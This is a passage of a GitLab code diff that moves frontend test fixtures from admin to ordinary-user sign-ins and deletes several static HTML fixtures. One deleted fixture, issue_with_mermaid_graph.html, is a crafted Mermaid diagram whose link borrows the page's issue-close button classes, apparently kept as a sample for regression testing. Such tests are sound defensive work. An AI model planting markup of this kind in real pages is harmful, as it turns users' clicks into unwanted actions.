before(:all) do
clean_frontend_fixtures('commit/')
clean_frontend_fixtures('api/commits/')
-
- project.add_maintainer(user)
end
before do
diff --git a/spec/frontend/fixtures/deploy_keys.rb b/spec/frontend/fixtures/deploy_keys.rb
index e87600e9d24..5c24c071792 100644
--- a/spec/frontend/fixtures/deploy_keys.rb
+++ b/spec/frontend/fixtures/deploy_keys.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Projects::DeployKeysController, '(JavaScript fixtures)', type: :controller do
include JavaScriptFixturesHelpers
+ include AdminModeHelper
let(:admin) { create(:admin) }
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
@@ -17,7 +18,10 @@ RSpec.describe Projects::DeployKeysController, '(JavaScript fixtures)', type: :c
end
before do
+ # Using an admin for these fixtures because they are used for verifying a frontend
+ # component that would normally get its data from `Admin::DeployKeysController`
sign_in(admin)
+ enable_admin_mode!(admin)
end
after do
diff --git a/spec/frontend/fixtures/emojis.rb b/spec/frontend/fixtures/emojis.rb
deleted file mode 100644
index b95c7632917..00000000000
--- a/spec/frontend/fixtures/emojis.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Emojis (JavaScript fixtures)', type: :request do
- include JavaScriptFixturesHelpers
-
- before(:all) do
- clean_frontend_fixtures('emojis/')
- end
-
- it 'emojis/emojis.json' do |example|
- get '/-/emojis/1/emojis.json'
-
- expect(response).to be_successful
- end
-end
diff --git a/spec/frontend/fixtures/freeze_period.rb b/spec/frontend/fixtures/freeze_period.rb
index 193bd0c3ef2..09e4f969e1d 100644
--- a/spec/frontend/fixtures/freeze_period.rb
+++ b/spec/frontend/fixtures/freeze_period.rb
@@ -4,10 +4,10 @@ require 'spec_helper'
RSpec.describe 'Freeze Periods (JavaScript fixtures)' do
include JavaScriptFixturesHelpers
- include Ci::PipelineSchedulesHelper
+ include TimeZoneHelper
- let_it_be(:admin) { create(:admin) }
let_it_be(:project) { create(:project, :repository, path: 'freeze-periods-project') }
+ let_it_be(:user) { project.owner }
before(:all) do
clean_frontend_fixtures('api/freeze-periods/')
@@ -34,16 +34,18 @@ RSpec.describe 'Freeze Periods (JavaScript fixtures)' do
create(:ci_freeze_period, project: project, freeze_start: '0 12 * * 1-5', freeze_end: '0 1 5 * *', cron_timezone: 'Etc/UTC')
create(:ci_freeze_period, project: project, freeze_start: '0 12 * * 1-5', freeze_end: '0 16 * * 6', cron_timezone: 'Europe/Berlin')
- get api("/projects/#{project.id}/freeze_periods", admin)
+ get api("/projects/#{project.id}/freeze_periods", user)
expect(response).to be_successful
end
end
- describe Ci::PipelineSchedulesHelper, '(JavaScript fixtures)' do
+ describe TimeZoneHelper, '(JavaScript fixtures)' do
let(:response) { timezone_data.to_json }
it 'api/freeze-periods/timezone_data.json' do
+ # Looks empty but does things
+ # More info: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38525/diffs#note_391048415
end
end
end
diff --git a/spec/frontend/fixtures/groups.rb b/spec/frontend/fixtures/groups.rb
index 9f0b2c73c93..42aad9f187e 100644
--- a/spec/frontend/fixtures/groups.rb
+++ b/spec/frontend/fixtures/groups.rb
@@ -5,20 +5,20 @@ require 'spec_helper'
RSpec.describe 'Groups (JavaScript fixtures)', type: :controller do
include JavaScriptFixturesHelpers
- let(:admin) { create(:admin) }
+ let(:user) { create(:user) }
let(:group) { create(:group, name: 'frontend-fixtures-group', runners_token: 'runnerstoken:intabulasreferre')}
- render_views
-
before(:all) do
clean_frontend_fixtures('groups/')
end
before do
- group.add_maintainer(admin)
- sign_in(admin)
+ group.add_owner(user)
+ sign_in(user)
end
+ render_views
+
describe GroupsController, '(JavaScript fixtures)', type: :controller do
it 'groups/edit.html' do
get :edit, params: { id: group }
diff --git a/spec/frontend/fixtures/issues.rb b/spec/frontend/fixtures/issues.rb
index baea87be45f..a027247bd0d 100644
--- a/spec/frontend/fixtures/issues.rb
+++ b/spec/frontend/fixtures/issues.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe Projects::IssuesController, '(JavaScript fixtures)', type: :controller do
include JavaScriptFixturesHelpers
- let(:admin) { create(:admin, feed_token: 'feedtoken:coldfeed') }
+ let(:user) { create(:user, feed_token: 'feedtoken:coldfeed') }
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project_empty_repo, namespace: namespace, path: 'issues-project') }
@@ -16,9 +16,8 @@ RSpec.describe Projects::IssuesController, '(JavaScript fixtures)', type: :contr
end
before do
- stub_feature_flags(vue_issue_header: false)
-
- sign_in(admin)
+ project.add_maintainer(user)
+ sign_in(user)
end
after do
@@ -42,17 +41,6 @@ RSpec.describe Projects::IssuesController, '(JavaScript fixtures)', type: :contr
render_issue(create(:closed_issue, project: project))
end
- it 'issues/issue-with-task-list.html' do
- issue = create(:issue, project: project, description: '- [ ] Task List Item')
- render_issue(issue)
- end
-
- it 'issues/issue_with_comment.html' do
- issue = create(:issue, project: project)
- create(:note, project: project, noteable: issue, note: '- [ ] Task List Item').save
- render_issue(issue)
- end
-
it 'issues/issue_list.html' do
create(:issue, project: project)
diff --git a/spec/frontend/fixtures/jobs.rb b/spec/frontend/fixtures/jobs.rb
index 64197a62301..22179c790bd 100644
--- a/spec/frontend/fixtures/jobs.rb
+++ b/spec/frontend/fixtures/jobs.rb
@@ -5,9 +5,9 @@ require 'spec_helper'
RSpec.describe Projects::JobsController, '(JavaScript fixtures)', type: :controller do
include JavaScriptFixturesHelpers
- let(:admin) { create(:admin) }
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project, :repository, namespace: namespace, path: 'builds-project') }
+ let(:user) { project.owner }
let(:pipeline) { create(:ci_empty_pipeline, project: project, sha: project.commit.id) }
let!(:build_with_artifacts) { create(:ci_build, :success, :artifacts, :trace_artifact, pipeline: pipeline, stage: 'test', artifacts_expire_at: Time.now + 18.months) }
let!(:failed_build) { create(:ci_build, :failed, pipeline: pipeline, stage: 'build') }
@@ -22,28 +22,17 @@ RSpec.describe Projects::JobsController, '(JavaScript fixtures)', type: :control
render_views
before(:all) do
- clean_frontend_fixtures('builds/')
clean_frontend_fixtures('jobs/')
end
before do
- sign_in(admin)
+ sign_in(user)
end
after do
remove_repository(project)
end
- it 'builds/build-with-artifacts.html' do
- get :show, params: {
- namespace_id: project.namespace.to_param,
- project_id: project,
- id: build_with_artifacts.to_param
- }
-
- expect(response).to be_successful
- end
-
it 'jobs/delayed.json' do
get :show, params: {
namespace_id: project.namespace.to_param,
diff --git a/spec/frontend/fixtures/labels.rb b/spec/frontend/fixtures/labels.rb
index 2b7babb2e52..d7ca2aff18c 100644
--- a/spec/frontend/fixtures/labels.rb
+++ b/spec/frontend/fixtures/labels.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe 'Labels (JavaScript fixtures)' do
include JavaScriptFixturesHelpers
- let(:admin) { create(:admin) }
+ let(:user) { create(:user) }
let(:group) { create(:group, name: 'frontend-fixtures-group' )}
let(:project) { create(:project_empty_repo, namespace: group, path: 'labels-project') }
@@ -25,28 +25,10 @@ RSpec.describe 'Labels (JavaScript fixtures)' do
remove_repository(project)
end
- describe Groups::LabelsController, '(JavaScript fixtures)', type: :controller do
- render_views
-
- before do
- sign_in(admin)
- end
-
- it 'labels/group_labels.json' do
- get :index, params: {
- group_id: group
- }, format: 'json'
-
- expect(response).to be_successful
- end
- end
-
describe API::Helpers::LabelHelpers, type: :request do
include JavaScriptFixturesHelpers
include ApiHelpers
- let(:user) { create(:user) }
-
before do
group.add_owner(user)
end
@@ -62,7 +44,8 @@ RSpec.describe 'Labels (JavaScript fixtures)' do
render_views
before do
- sign_in(admin)
+ group.add_owner(user)
+ sign_in(user)
end
it 'labels/project_labels.json' do
diff --git a/spec/frontend/fixtures/merge_requests.rb b/spec/frontend/fixtures/merge_requests.rb
index 6f281b26e6d..acce3891ada 100644
--- a/spec/frontend/fixtures/merge_requests.rb
+++ b/spec/frontend/fixtures/merge_requests.rb
@@ -5,15 +5,15 @@ require 'spec_helper'
RSpec.describe Projects::MergeRequestsController, '(JavaScript fixtures)', type: :controller do
include JavaScriptFixturesHelpers
- let(:admin) { create(:admin) }
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project, :repository, namespace: namespace, path: 'merge-requests-project') }
+ let(:user) { project.owner }
# rubocop: disable Layout/TrailingWhitespace
let(:description) do
<<~MARKDOWN.strip_heredoc
- [ ] Task List Item
- - [ ]
+ - [ ]
- [ ] Task List Item 2
MARKDOWN
end
@@ -55,7 +55,7 @@ RSpec.describe Projects::MergeRequestsController, '(JavaScript fixtures)', type:
end
before do
- sign_in(admin)
+ sign_in(user)
allow(Discussion).to receive(:build_discussion_id).and_return(['discussionid:ceterumcenseo'])
end
@@ -64,7 +64,7 @@ RSpec.describe Projects::MergeRequestsController, '(JavaScript fixtures)', type:
end
it 'merge_requests/merge_request_of_current_user.html' do
- merge_request.update(author: admin)
+ merge_request.update(author: user)
render_merge_request(merge_request)
end
@@ -75,38 +75,20 @@ RSpec.describe Projects::MergeRequestsController, '(JavaScript fixtures)', type:
render_merge_request(merge_request)
end
- it 'merge_requests/merged_merge_request.html' do
- expect_next_instance_of(MergeRequest) do |merge_request|
- allow(merge_request).to receive(:source_branch_exists?).and_return(true)
- allow(merge_request).to receive(:can_remove_source_branch?).and_return(true)
- end
- render_merge_request(merged_merge_request)
- end
-
it 'merge_requests/diff_comment.html' do
- create(:diff_note_on_merge_request, project: project, author: admin, position: position, noteable: merge_request)
- create(:note_on_merge_request, author: admin, project: project, noteable: merge_request)
+ create(:diff_note_on_merge_request, project: project, author: user, position: position, noteable: merge_request)
+ create(:note_on_merge_request, author: user, project: project, noteable: merge_request)
render_merge_request(merge_request)
end
- it 'merge_requests/merge_request_with_comment.html' do
- create(:note_on_merge_request, author: admin, project: project, noteable: merge_request, note: '- [ ] Task List Item')
- render_merge_request(merge_request)
- end
-
- it 'merge_requests/discussions.json' do
- create(:discussion_note_on_merge_request, project: project, author: admin, position: position, noteable: merge_request)
- render_discussions_json(merge_request)
- end
-
it 'merge_requests/diff_discussion.json' do
- create(:diff_note_on_merge_request, project: project, author: admin, position: position, noteable: merge_request)
+ create(:diff_note_on_merge_request, project: project, author: user, position: position, noteable: merge_request)
render_discussions_json(merge_request)
end
it 'merge_requests/resolved_diff_discussion.json' do
- note = create(:discussion_note_on_merge_request, :resolved, project: project, author: admin, position: position, noteable: merge_request)
- create(:system_note, project: project, author: admin, noteable: merge_request, discussion_id: note.discussion.id)
+ note = create(:discussion_note_on_merge_request, :resolved, project: project, author: user, position: position, noteable: merge_request)
+ create(:system_note, project: project, author: user, noteable: merge_request, discussion_id: note.discussion.id)
render_discussions_json(merge_request)
end
@@ -129,7 +111,7 @@ RSpec.describe Projects::MergeRequestsController, '(JavaScript fixtures)', type:
context 'with mentions' do
let(:group) { create(:group) }
- let(:description) { "@#{group.full_path} @all @#{admin.username}" }
+ let(:description) { "@#{group.full_path} @all @#{user.username}" }
it 'merge_requests/merge_request_with_mentions.html' do
render_merge_request(merge_request)
diff --git a/spec/frontend/fixtures/merge_requests_diffs.rb b/spec/frontend/fixtures/merge_requests_diffs.rb
index 63bd02d0fbd..6e07ef679f5 100644
--- a/spec/frontend/fixtures/merge_requests_diffs.rb
+++ b/spec/frontend/fixtures/merge_requests_diffs.rb
@@ -5,9 +5,9 @@ require 'spec_helper'
RSpec.describe Projects::MergeRequests::DiffsController, '(JavaScript fixtures)', type: :controller do
include JavaScriptFixturesHelpers
- let(:admin) { create(:admin) }
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project, :repository, namespace: namespace, path: 'merge-requests-project') }
+ let(:user) { project.owner }
let(:merge_request) { create(:merge_request, :with_diffs, source_project: project, target_project: project, description: '- [ ] Task List Item') }
let(:path) { "files/ruby/popen.rb" }
let(:position) do
@@ -25,7 +25,7 @@ RSpec.describe Projects::MergeRequests::DiffsController, '(JavaScript fixtures)'
end
before do
- sign_in(admin)
+ sign_in(user)
end
after do
@@ -40,18 +40,6 @@ RSpec.describe Projects::MergeRequests::DiffsController, '(JavaScript fixtures)'
render_merge_request(merge_request, commit_id: project.commit.sha)
end
- it 'merge_request_diffs/inline_changes_tab_with_comments.json' do
- create(:diff_note_on_merge_request, project: project, author: admin, position: position, noteable: merge_request)
- create(:note_on_merge_request, author: admin, project: project, noteable: merge_request)
- render_merge_request(merge_request)
- end
-
- it 'merge_request_diffs/parallel_changes_tab_with_comments.json' do
- create(:diff_note_on_merge_request, project: project, author: admin, position: position, noteable: merge_request)
- create(:note_on_merge_request, author: admin, project: project, noteable: merge_request)
- render_merge_request(merge_request, view: 'parallel')
- end
-
private
def render_merge_request(merge_request, view: 'inline', **extra_params)
diff --git a/spec/frontend/fixtures/pipeline_schedules.rb b/spec/frontend/fixtures/pipeline_schedules.rb
index e47bb25ec0a..a7d43fdbe62 100644
--- a/spec/frontend/fixtures/pipeline_schedules.rb
+++ b/spec/frontend/fixtures/pipeline_schedules.rb
@@ -5,11 +5,11 @@ require 'spec_helper'
RSpec.describe Projects::PipelineSchedulesController, '(JavaScript fixtures)', type: :controller do
include JavaScriptFixturesHelpers
- let(:admin) { create(:admin) }
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project, :public, :repository) }
- let!(:pipeline_schedule) { create(:ci_pipeline_schedule, project: project, owner: admin) }
- let!(:pipeline_schedule_populated) { create(:ci_pipeline_schedule, project: project, owner: admin) }
+ let(:user) { project.owner }
+ let!(:pipeline_schedule) { create(:ci_pipeline_schedule, project: project, owner: user) }
+ let!(:pipeline_schedule_populated) { create(:ci_pipeline_schedule, project: project, owner: user) }
let!(:pipeline_schedule_variable1) { create(:ci_pipeline_schedule_variable, key: 'foo', value: 'foovalue', pipeline_schedule: pipeline_schedule_populated) }
let!(:pipeline_schedule_variable2) { create(:ci_pipeline_schedule_variable, key: 'bar', value: 'barvalue', pipeline_schedule: pipeline_schedule_populated) }
@@ -20,7 +20,7 @@ RSpec.describe Projects::PipelineSchedulesController, '(JavaScript fixtures)', t
end
before do
- sign_in(admin)
+ sign_in(user)
end
it 'pipeline_schedules/edit.html' do
diff --git a/spec/frontend/fixtures/pipelines.rb b/spec/frontend/fixtures/pipelines.rb
index 93e2c19fc27..4270e38afcb 100644
--- a/spec/frontend/fixtures/pipelines.rb
+++ b/spec/frontend/fixtures/pipelines.rb
@@ -5,7 +5,6 @@ require 'spec_helper'
RSpec.describe Projects::PipelinesController, '(JavaScript fixtures)', type: :controller do
include JavaScriptFixturesHelpers
- let(:admin) { create(:admin) }
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project, :repository, namespace: namespace, path: 'pipelines-project') }
let(:commit) { create(:commit, project: project) }
@@ -22,7 +21,7 @@ RSpec.describe Projects::PipelinesController, '(JavaScript fixtures)', type: :co
end
before do
- sign_in(admin)
+ sign_in(user)
end
it 'pipelines/pipelines.json' do
diff --git a/spec/frontend/fixtures/projects.rb b/spec/frontend/fixtures/projects.rb
index d0cedb0ef86..aa2f7dbed36 100644
--- a/spec/frontend/fixtures/projects.rb
+++ b/spec/frontend/fixtures/projects.rb
@@ -7,11 +7,11 @@ RSpec.describe 'Projects (JavaScript fixtures)', type: :controller do
runners_token = 'runnerstoken:intabulasreferre'
- let(:admin) { create(:admin) }
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project, namespace: namespace, path: 'builds-project', runners_token: runners_token) }
let(:project_with_repo) { create(:project, :repository, description: 'Code and stuff') }
let(:project_variable_populated) { create(:project, namespace: namespace, path: 'builds-project2', runners_token: runners_token) }
+ let(:user) { project.owner }
render_views
@@ -20,8 +20,8 @@ RSpec.describe 'Projects (JavaScript fixtures)', type: :controller do
end
before do
- project.add_maintainer(admin)
- sign_in(admin)
+ project_with_repo.add_maintainer(user)
+ sign_in(user)
allow(SecureRandom).to receive(:hex).and_return('securerandomhex:thereisnospoon')
end
@@ -30,15 +30,6 @@ RSpec.describe 'Projects (JavaScript fixtures)', type: :controller do
end
describe ProjectsController, '(JavaScript fixtures)', type: :controller do
- it 'projects/dashboard.html' do
- get :show, params: {
- namespace_id: project.namespace.to_param,
- id: project
- }
-
- expect(response).to be_successful
- end
-
it 'projects/overview.html' do
get :show, params: {
namespace_id: project_with_repo.namespace.to_param,
diff --git a/spec/frontend/fixtures/prometheus_service.rb b/spec/frontend/fixtures/prometheus_service.rb
index 8c923d91d08..3a59ecf3868 100644
--- a/spec/frontend/fixtures/prometheus_service.rb
+++ b/spec/frontend/fixtures/prometheus_service.rb
@@ -5,10 +5,10 @@ require 'spec_helper'
RSpec.describe Projects::ServicesController, '(JavaScript fixtures)', type: :controller do
include JavaScriptFixturesHelpers
- let(:admin) { create(:admin) }
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project_empty_repo, namespace: namespace, path: 'services-project') }
let!(:service) { create(:prometheus_service, project: project) }
+ let(:user) { project.owner }
render_views
@@ -17,7 +17,7 @@ RSpec.describe Projects::ServicesController, '(JavaScript fixtures)', type: :con
end
before do
- sign_in(admin)
+ sign_in(user)
end
after do
diff --git a/spec/frontend/fixtures/raw.rb b/spec/frontend/fixtures/raw.rb
index 337067121d0..cf51f2389bc 100644
--- a/spec/frontend/fixtures/raw.rb
+++ b/spec/frontend/fixtures/raw.rb
@@ -10,19 +10,17 @@ RSpec.describe 'Raw files', '(JavaScript fixtures)' do
let(:response) { @blob.data.force_encoding('UTF-8') }
before(:all) do
- clean_frontend_fixtures('blob/balsamiq/')
clean_frontend_fixtures('blob/notebook/')
clean_frontend_fixtures('blob/pdf/')
+ clean_frontend_fixtures('blob/text/')
+ clean_frontend_fixtures('blob/binary/')
+ clean_frontend_fixtures('blob/images/')
end
after do
remove_repository(project)
end
- it 'blob/balsamiq/test.bmpr' do
- @blob = project.repository.blob_at('b89b56d79', 'files/images/balsamiq.bmpr')
- end
-
it 'blob/notebook/basic.json' do
@blob = project.repository.blob_at('6d85bb69', 'files/ipython/basic.ipynb')
end
@@ -38,4 +36,16 @@ RSpec.describe 'Raw files', '(JavaScript fixtures)' do
it 'blob/pdf/test.pdf' do
@blob = project.repository.blob_at('e774ebd33', 'files/pdf/test.pdf')
end
+
+ it 'blob/text/README.md' do
+ @blob = project.repository.blob_at('e774ebd33', 'README.md')
+ end
+
+ it 'blob/images/logo-white.png' do
+ @blob = project.repository.blob_at('e774ebd33', 'files/images/logo-white.png')
+ end
+
+ it 'blob/binary/Gemfile.zip' do
+ @blob = project.repository.blob_at('e774ebd33', 'Gemfile.zip')
+ end
end
diff --git a/spec/frontend/fixtures/search.rb b/spec/frontend/fixtures/search.rb
index 7819d0774a7..264ce7d010c 100644
--- a/spec/frontend/fixtures/search.rb
+++ b/spec/frontend/fixtures/search.rb
@@ -7,7 +7,7 @@ RSpec.describe SearchController, '(JavaScript fixtures)', type: :controller do
render_views
- let_it_be(:user) { create(:admin) }
+ let_it_be(:user) { create(:user) }
before(:all) do
clean_frontend_fixtures('search/')
@@ -66,9 +66,13 @@ RSpec.describe SearchController, '(JavaScript fixtures)', type: :controller do
offset: 0)
end
+ before do
+ project.add_developer(user)
+ end
+
it 'search/blob_search_result.html' do
- expect_next_instance_of(SearchService) do |search_service|
- expect(search_service).to receive(:search_objects).and_return(blobs)
+ allow_next_instance_of(SearchServicePresenter) do |search_service|
+ allow(search_service).to receive(:search_objects).and_return(blobs)
end
get :show, params: {
diff --git a/spec/frontend/fixtures/services.rb b/spec/frontend/fixtures/services.rb
index 43230301296..7472af802f3 100644
--- a/spec/frontend/fixtures/services.rb
+++ b/spec/frontend/fixtures/services.rb
@@ -5,10 +5,10 @@ require 'spec_helper'
RSpec.describe Projects::ServicesController, '(JavaScript fixtures)', type: :controller do
include JavaScriptFixturesHelpers
- let(:admin) { create(:admin) }
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project_empty_repo, namespace: namespace, path: 'services-project') }
let!(:service) { create(:custom_issue_tracker_service, project: project) }
+ let(:user) { project.owner }
render_views
@@ -17,7 +17,7 @@ RSpec.describe Projects::ServicesController, '(JavaScript fixtures)', type: :con
end
before do
- sign_in(admin)
+ sign_in(user)
end
after do
diff --git a/spec/frontend/fixtures/snippet.rb b/spec/frontend/fixtures/snippet.rb
index 2e67a2ecfe3..5211d52f374 100644
--- a/spec/frontend/fixtures/snippet.rb
+++ b/spec/frontend/fixtures/snippet.rb
@@ -5,10 +5,10 @@ require 'spec_helper'
RSpec.describe SnippetsController, '(JavaScript fixtures)', type: :controller do
include JavaScriptFixturesHelpers
- let(:admin) { create(:admin) }
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project, :repository, namespace: namespace, path: 'branches-project') }
- let(:snippet) { create(:personal_snippet, :public, title: 'snippet.md', content: '# snippet', file_name: 'snippet.md', author: admin) }
+ let(:user) { project.owner }
+ let(:snippet) { create(:personal_snippet, :public, title: 'snippet.md', content: '# snippet', file_name: 'snippet.md', author: user) }
render_views
@@ -17,7 +17,7 @@ RSpec.describe SnippetsController, '(JavaScript fixtures)', type: :controller do
end
before do
- sign_in(admin)
+ sign_in(user)
allow(Discussion).to receive(:build_discussion_id).and_return(['discussionid:ceterumcenseo'])
end
@@ -26,7 +26,7 @@ RSpec.describe SnippetsController, '(JavaScript fixtures)', type: :controller do
end
it 'snippets/show.html' do
- create(:discussion_note_on_project_snippet, noteable: snippet, project: project, author: admin, note: '- [ ] Task List Item')
+ create(:discussion_note_on_project_snippet, noteable: snippet, project: project, author: user, note: '- [ ] Task List Item')
get(:show, params: { id: snippet.to_param })
diff --git a/spec/frontend/fixtures/static/balsamiq_viewer.html b/spec/frontend/fixtures/static/balsamiq_viewer.html
deleted file mode 100644
index cdd723d1a84..00000000000
--- a/spec/frontend/fixtures/static/balsamiq_viewer.html
+++ /dev/null
@@ -1 +0,0 @@
-<div class="file-content balsamiq-viewer" data-endpoint="/test" id="js-balsamiq-viewer"></div>
diff --git a/spec/frontend/fixtures/static/create_item_dropdown.html b/spec/frontend/fixtures/static/create_item_dropdown.html
index d2d38370092..aac7d3397ce 100644
--- a/spec/frontend/fixtures/static/create_item_dropdown.html
+++ b/spec/frontend/fixtures/static/create_item_dropdown.html
@@ -1,11 +1,42 @@
<div class="js-create-item-dropdown-fixture-root">
-<input name="variable[environment]" type="hidden">
-<div class="dropdown "><button class="dropdown-menu-toggle js-dropdown-menu-toggle" type="button" data-toggle="dropdown"><span class="dropdown-toggle-text ">some label</span><i aria-hidden="true" data-hidden="true" class="fa fa-chevron-down"></i></button><div class="dropdown-menu dropdown-select dropdown-menu-selectable"><div class="dropdown-input"><input type="search" id="" class="dropdown-input-field" autocomplete="off" /><i aria-hidden="true" data-hidden="true" class="fa fa-search dropdown-input-search"></i><i aria-hidden="true" data-hidden="true" role="button" class="fa fa-times dropdown-input-clear js-dropdown-input-clear"></i></div><div class="dropdown-content js-dropdown-content"></div><div class="dropdown-footer"><ul class="dropdown-footer-list">
-<li>
-<button class="dropdown-create-new-item-button js-dropdown-create-new-item">
-Create wildcard
-<code></code>
-</button>
-</li>
-</ul>
-</div><div class="dropdown-loading"><i aria-hidden="true" data-hidden="true" class="fa fa-spinner fa-spin"></i></div></div></div></div>
+ <input name="variable[environment]" type="hidden" />
+ <div class="dropdown ">
+ <button
+ class="dropdown-menu-toggle js-dropdown-menu-toggle"
+ type="button"
+ data-toggle="dropdown"
+ >
+ <span class="dropdown-toggle-text ">some label</span
+ ><i aria-hidden="true" data-hidden="true" class="fa fa-chevron-down"></i>
+ </button>
+ <div class="dropdown-menu dropdown-select dropdown-menu-selectable">
+ <div class="dropdown-input">
+ <input type="search" id="" class="dropdown-input-field" autocomplete="off" /><i
+ aria-hidden="true"
+ data-hidden="true"
+ class="fa fa-search dropdown-input-search"
+ ></i
+ ><i
+ aria-hidden="true"
+ data-hidden="true"
+ role="button"
+ class="fa fa-times dropdown-input-clear js-dropdown-input-clear"
+ ></i>
+ </div>
+ <div class="dropdown-content js-dropdown-content"></div>
+ <div class="dropdown-footer">
+ <ul class="dropdown-footer-list">
+ <li>
+ <button class="dropdown-create-new-item-button js-dropdown-create-new-item">
+ Create wildcard
+ <code></code>
+ </button>
+ </li>
+ </ul>
+ </div>
+ <div class="dropdown-loading">
+ <span aria-hidden="true" data-hidden="true" class="gl-spinner"></span>
+ </div>
+ </div>
+ </div>
+</div>
diff --git a/spec/frontend/fixtures/static/deprecated_jquery_dropdown.html b/spec/frontend/fixtures/static/deprecated_jquery_dropdown.html
index 3db9bafcb9f..41e7170b5c6 100644
--- a/spec/frontend/fixtures/static/deprecated_jquery_dropdown.html
+++ b/spec/frontend/fixtures/static/deprecated_jquery_dropdown.html
@@ -32,7 +32,7 @@
</div>
<div class="dropdown-content"></div>
<div class="dropdown-loading">
- <i class="fa fa-spinner fa-spin"></i>
+ <span class="gl-spinner"></span>
</div>
</div>
</div>
diff --git a/spec/frontend/fixtures/static/environments/table.html b/spec/frontend/fixtures/static/environments/table.html
deleted file mode 100644
index 417af564ff1..00000000000
--- a/spec/frontend/fixtures/static/environments/table.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<table>
-<thead>
-<tr>
-<th>Environment</th>
-<th>Last deployment</th>
-<th>Job</th>
-<th>Commit</th>
-<th></th>
-<th></th>
-</tr>
-</thead>
-<tbody>
-<tr id="environment-row"></tr>
-</tbody>
-</table>
diff --git a/spec/frontend/fixtures/static/issuable_filter.html b/spec/frontend/fixtures/static/issuable_filter.html
deleted file mode 100644
index 06b70fb43f1..00000000000
--- a/spec/frontend/fixtures/static/issuable_filter.html
+++ /dev/null
@@ -1,9 +0,0 @@
-<form action="/user/project/issues?scope=all&amp;state=closed" class="js-filter-form">
-<input id="utf8" name="utf8" value="✓">
-<input id="check-all-issues" name="check-all-issues">
-<input id="search" name="search">
-<input id="author_id" name="author_id">
-<input id="assignee_id" name="assignee_id">
-<input id="milestone_title" name="milestone_title">
-<input id="label_name" name="label_name">
-</form>
diff --git a/spec/frontend/fixtures/static/issue_with_mermaid_graph.html b/spec/frontend/fixtures/static/issue_with_mermaid_graph.html
deleted file mode 100644
index e9fa75c8ba9..00000000000
--- a/spec/frontend/fixtures/static/issue_with_mermaid_graph.html
+++ /dev/null
@@ -1,82 +0,0 @@
-<div class="description" updated-at="">
- <div class="md issue-realtime-trigger-pulse">
- <svg
- id="mermaid-1587752414912"
- width="100%"
- xmlns="http://www.w3.org/2000/svg"
- style="max-width: 185.35000610351562px;"
- viewBox="0 0 185.35000610351562 50.5"
- class="mermaid"
- >
- <g transform="translate(0, 0)">
- <g class="output">
- <g class="clusters"></g>
- <g class="edgePaths"></g>
- <g class="edgeLabels"></g>
- <g class="nodes">
- <g
- class="node js-issuable-buttons btn-close clickable"
- style="opacity: 1;"
- id="A"
- transform="translate(92.67500305175781,25.25)"
- title="click to PUT"
- >
- <a
- class="js-issuable-buttons btn-close clickable"
- href="https://invalid"
- rel="noopener"
- >
- <rect
- rx="0"
- ry="0"
- x="-84.67500305175781"
- y="-17.25"
- width="169.35000610351562"
- height="34.5"
- class="label-container"
- ></rect>
- <g class="label" transform="translate(0,0)">
- <g transform="translate(-74.67500305175781,-7.25)">
- <text style="">
- <tspan xml:space="preserve" dy="1em" x="1">Click to send a PUT request</tspan>
- </text>
- </g>
- </g>
- </a>
- </g>
- </g>
- </g>
- </g>
- <text class="source" display="none">
- Click to send a PUT request
- </text>
- </svg>
- </div>
- <textarea
- data-update-url="/h5bp/html5-boilerplate/-/issues/35.json"
- dir="auto"
- class="hidden js-task-list-field"
- ></textarea>
- <div class="modal-open recaptcha-modal js-recaptcha-modal" style="display: none;">
- <div role="dialog" tabindex="-1" class="modal d-block">
- <div role="document" class="modal-dialog">
- <div class="modal-content">
- <div class="modal-header">
- <h4 class="modal-title float-left">Please solve the reCAPTCHA</h4>
- <button type="button" data-dismiss="modal" aria-label="Close" class="close float-right">
- <span aria-hidden="true">×</span>
- </button>
- </div>
- <div class="modal-body">
- <div>
- <p>We want to be sure it is you, please confirm you are not a robot.</p>
- <div></div>
- </div>
- </div>
- <!---->
- </div>
- </div>
- </div>
- <div class="modal-backdrop fade show"></div>
- </div>
-</div>
diff --git a/spec/frontend/fixtures/static/merge_requests_show.html b/spec/frontend/fixtures/static/merge_requests_show.html
deleted file mode 100644
index 87e36c9f315..00000000000
--- a/spec/frontend/fixtures/static/merge_requests_show.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<a class="btn-close"></a>
-<div class="detail-page-description">
-<div class="description js-task-list-container">
-<div class="md">
-<ul class="task-list">
-<li class="task-list-item">
-<input class="task-list-item-checkbox" type="checkbox">
-Task List Item
-</li>
-</ul>
-<textarea class="js-task-list-field">- [ ] Task List Item</textarea>
-</div>
-</div>
-</div>
-<form action="/foo" class="js-issuable-update"></form>
diff --git a/spec/frontend/fixtures/static/mini_dropdown_graph.html b/spec/frontend/fixtures/static/mini_dropdown_graph.html
index cb55698b709..cde811d4f52 100644
--- a/spec/frontend/fixtures/static/mini_dropdown_graph.html
+++ b/spec/frontend/fixtures/static/mini_dropdown_graph.html
@@ -7,7 +7,7 @@
<ul></ul>
</li>
<li class="js-builds-dropdown-loading hidden">
- <span class="fa fa-spinner"></span>
+ <span class="gl-spinner"></span>
</li>
</ul>
</div>
diff --git a/spec/frontend/fixtures/static/pipelines.html b/spec/frontend/fixtures/static/pipelines.html
deleted file mode 100644
index 42333f94f2f..00000000000
--- a/spec/frontend/fixtures/static/pipelines.html
+++ /dev/null
@@ -1,3 +0,0 @@
-<div>
